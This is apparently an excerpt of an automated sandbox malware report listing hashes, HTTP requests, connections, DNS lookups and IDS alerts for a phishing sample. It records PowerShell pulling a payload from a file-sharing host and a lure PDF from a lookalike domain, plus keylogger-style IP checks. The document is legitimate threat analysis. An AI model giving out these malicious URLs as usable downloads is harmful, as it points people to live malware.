SHA256:C83EC6E8FB3EC62481289C033238C1D9B08DB8076EAAD304099FD7A7F594F1B9
5736AcroCEF.exeC:\Users\admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.oldtext
MD5:2EF1F7C0782D1A46974286420D24F629
SHA256:D3A9BB7E09E1F4B0C41FF7808E930DDACF5DB3BACD98ECCF5BC7DB4863D1FCF5
5736AcroCEF.exeC:\Users\admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old~RF13ba6a.TMPtext
MD5:7383516745DEC1E86152192435F92D1F
SHA256:E22D34BBD915EEB277D4F4138D176EACE5577CF035EF7C2C80A4BC4D9B6C0E1D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
67
TCP/UDP connections
60
DNS requests
59
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.16.164.9:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
401
13.107.6.158:443
https://business.bing.com/api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox
unknown
—
—
—
—
—
OPTIONS
204
52.6.155.20:443
https://p13n.adobe.io/psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&adcProductLanguage=en-us&adcVersion=23.1.20093&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=RU&adcXAPIClientID=api_reader_desktop_win_23.1.20093&encodingScheme=BASE_64
unknown
—
—
—
—
—
GET
304
13.107.21.239:443
https://edge.microsoft.com/abusiveadblocking/api/v1/blocklist
unknown
—
—
—
—
—
GET
200
13.107.246.45:443
https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-US&setchannel=stable
unknown
binary
14.3 Kb
whitelisted
—
—
GET
200
168.119.145.117:443
https://0x0.st/8bw2.txt
unknown
text
75.2 Kb
—
—
—
GET
200
13.107.42.16:443
https://config.edge.skype.com/config/v1/Edge/122.0.2365.59?clientId=4489578223053569932&agents=EdgeFirstRun%2CEdgeFirstRunConfig&osname=win&client=edge&channel=stable&scpfre=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=44&mngd=0&installdate=1661339457&edu=0&bphint=2&soobedate=1504771245&fg=1
unknown
binary
768 b
whitelisted
—
—
GET
200
13.107.21.239:443
https://edge.microsoft.com/serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.19045&devicefamily=desktop&installdate=1661339457&clientversion=122.0.2365.59&experimentationmode=2&scpguard=0&scpfull=0&scpver=0
unknown
binary
184 b
whitelisted
—
—
GET
200
148.135.107.234:443
https://burtintemational.com/PO_Swift%20Payment.pdf
unknown
pdf
24.9 Kb
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.19.96.130:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
2.16.164.9:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
4712
MoUsoCoreWorker.exe
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6724
powershell.exe
168.119.145.117:443
0x0.st
Hetzner Online GmbH
DE
suspicious
3976
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
  • 4.231.128.59
whitelisted
www.bing.com
  • 2.19.96.130
  • 2.19.96.16
  • 2.19.96.96
  • 2.19.96.18
  • 2.19.96.88
  • 2.19.96.91
  • 2.19.96.128
  • 2.19.96.90
  • 2.19.96.120
  • 23.15.178.211
  • 23.15.178.218
  • 23.15.178.194
  • 23.15.178.200
  • 23.15.178.216
  • 23.15.178.201
  • 23.15.178.210
  • 23.15.178.202
  • 23.15.178.203
  • 23.15.178.242
  • 23.15.178.248
  • 23.15.178.234
  • 23.15.178.251
  • 23.15.178.233
  • 23.15.178.250
  • 23.15.178.219
  • 23.15.178.232
  • 23.15.178.249
  • 23.15.178.170
  • 23.15.178.185
  • 23.15.178.163
  • 23.15.178.193
  • 23.15.178.192
  • 23.15.178.176
  • 23.15.178.178
  • 23.15.178.179
whitelisted
google.com
  • 142.250.185.238
whitelisted
crl.microsoft.com
  • 2.16.164.9
  • 2.16.164.106
whitelisted
www.microsoft.com
  • 23.219.150.101
whitelisted
0x0.st
  • 168.119.145.117
unknown
burtintemational.com
  • 148.135.107.234
unknown
geo2.adobe.com
  • 104.115.88.161
whitelisted
config.edge.skype.com
  • 13.107.42.16
whitelisted
zunigarquitectura.com
  • 201.148.104.141
unknown

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET FILE_SHARING File Sharing Related Domain in DNS Lookup (0x0 .st)
6724
powershell.exe
Misc activity
ET FILE_SHARING File Sharing Domain Observed in TLS SNI (0x0 .st)
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
—
—
Misc activity
ET INFO Request for PDF via PowerShell
6336
powershell.exe
Misc activity
ET FILE_SHARING File Sharing Domain Observed in TLS SNI (0x0 .st)
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2192
svchost.exe
Device Retrieving External IP Address Detected
ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org)
6336
powershell.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
6336
powershell.exe
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org)
No debug info